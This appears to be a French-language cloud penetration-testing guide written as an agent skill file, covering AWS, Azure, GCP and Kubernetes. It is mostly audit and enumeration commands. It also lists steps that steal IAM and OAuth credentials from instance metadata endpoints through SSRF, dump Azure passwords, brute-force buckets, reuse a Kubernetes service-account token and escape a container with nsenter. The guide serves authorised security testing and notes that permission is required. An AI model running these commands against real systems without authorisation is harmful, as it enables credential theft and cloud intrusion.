| name | cloud-pentest |
| description | Guide complet de pentest cloud AWS, Azure, GCP — ScoutSuite, Prowler, Pacu, énumération IAM, buckets S3, métadonnées, conteneurs, Kubernetes, et techniques d'attaque cloud-native. |
Cloud Pentesting — AWS, Azure, GCP
Principes fondamentaux
Attention : Toujours vérifier la politique de pentest du fournisseur cloud.
AWS/Azure/GCP exigent une autorisation préalable pour les tests d'intrusion.
1. Outils d'audit automatisé
ScoutSuite — Multi-cloud (AWS, Azure, GCP)
pip install scoutsuite
scout aws --profile default
scout azure --cli
scout gcp --project-id mon-projet
Prowler — Audit de sécurité AWS
pip install prowler
prowler aws
prowler aws -g iam
prowler aws -c s3_bucket_public_access
prowler aws -M csv,json,html
prowler gcp -p mon-projet
prowler azure
2. AWS Pentesting
Énumération IAM
aws iam list-users
aws iam list-roles
aws iam list-groups
aws iam list-attached-user-policies --user-name <nom>
aws iam get-policy-version --policy-arn <arn> --version-id v1
aws iam simulate-principal-policy --policy-source-arn <arn> --action-names s3:ListBucket
aws iam list-account-aliases
aws sts get-caller-identity
Pacu — Framework d'exploitation AWS
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu && python3 cli.py
Pacu > import_keys default
Pacu > run iam__enum_users_roles_policies_groups
Pacu > run iam__enum_permissions
Pacu > run s3__enum_buckets
Pacu > run iam__privesc_scan
Pacu > run ec2__enum
S3 Buckets
aws s3 ls s3://nom-bucket
aws s3 ls s3://nom-bucket --no-sign-request
python3 s3scanner.py --bucket cible-dev
aws s3 sync s3://bucket-public ./donnees --no-sign-request
Métadonnées AWS (SSRF)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
Élévation de privilèges IAM
3. Azure Pentesting
Énumération
az login
az account list
az resource list
az vm list
az storage account list
az keyvault list
az ad user list
az ad group list --output table
az role assignment list --all
az storage container list --account-name <nom>
az storage blob list --container-name <nom> --account-name <nom>
MicroBurst — Outils Azure
git clone https://github.com/NetSPI/MicroBurst
Import-Module .\MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base domaine
Get-AzPasswords
Métadonnées Azure (SSRF)
curl http://169.254.169.254/metadata/instance?api-version=2021-02-01
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
4. GCP Pentesting
Énumération
gcloud auth list
gcloud projects list
gcloud compute instances list
gcloud iam service-accounts list
gcloud storage ls
gcloud storage ls gs://bucket-public
Métadonnées GCP
curl http://metadata.google.internal/computeMetadata/v1/ -H "Metadata-Flavor: Google"
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -H "Metadata-Flavor: Google"
GCPBucketBrute
python3 gcpbucketbrute.py -k cible
5. Kubernetes / Conteneurs
Outils
kube-hunter --remote cible.com
kubeaudit all
kubesec scan deployment.yaml
checkov -d ./terraform/
checkov -f deployment.yaml
trivy image nginx:latest
Attaques Kubernetes
cat /var/run/secrets/kubernetes.io/serviceaccount/token
curl -k https://kubernetes.default/api/v1/namespaces/ -H "Authorization: Bearer $(cat token)"
nsenter -t 1 -m -u -i -n -- /bin/bash
6. Cheatsheet AWS rapide
aws sts get-caller-identity
aws iam list-users; aws iam list-roles; aws iam list-policies
aws s3 ls; aws s3 ls s3://nom-bucket
aws ec2 describe-instances
aws ec2 describe-security-groups
aws lambda list-functions; aws lambda get-function --function-name <nom>
curl 169.254.169.254/latest/meta-data/
prowler aws; scout aws
Ressources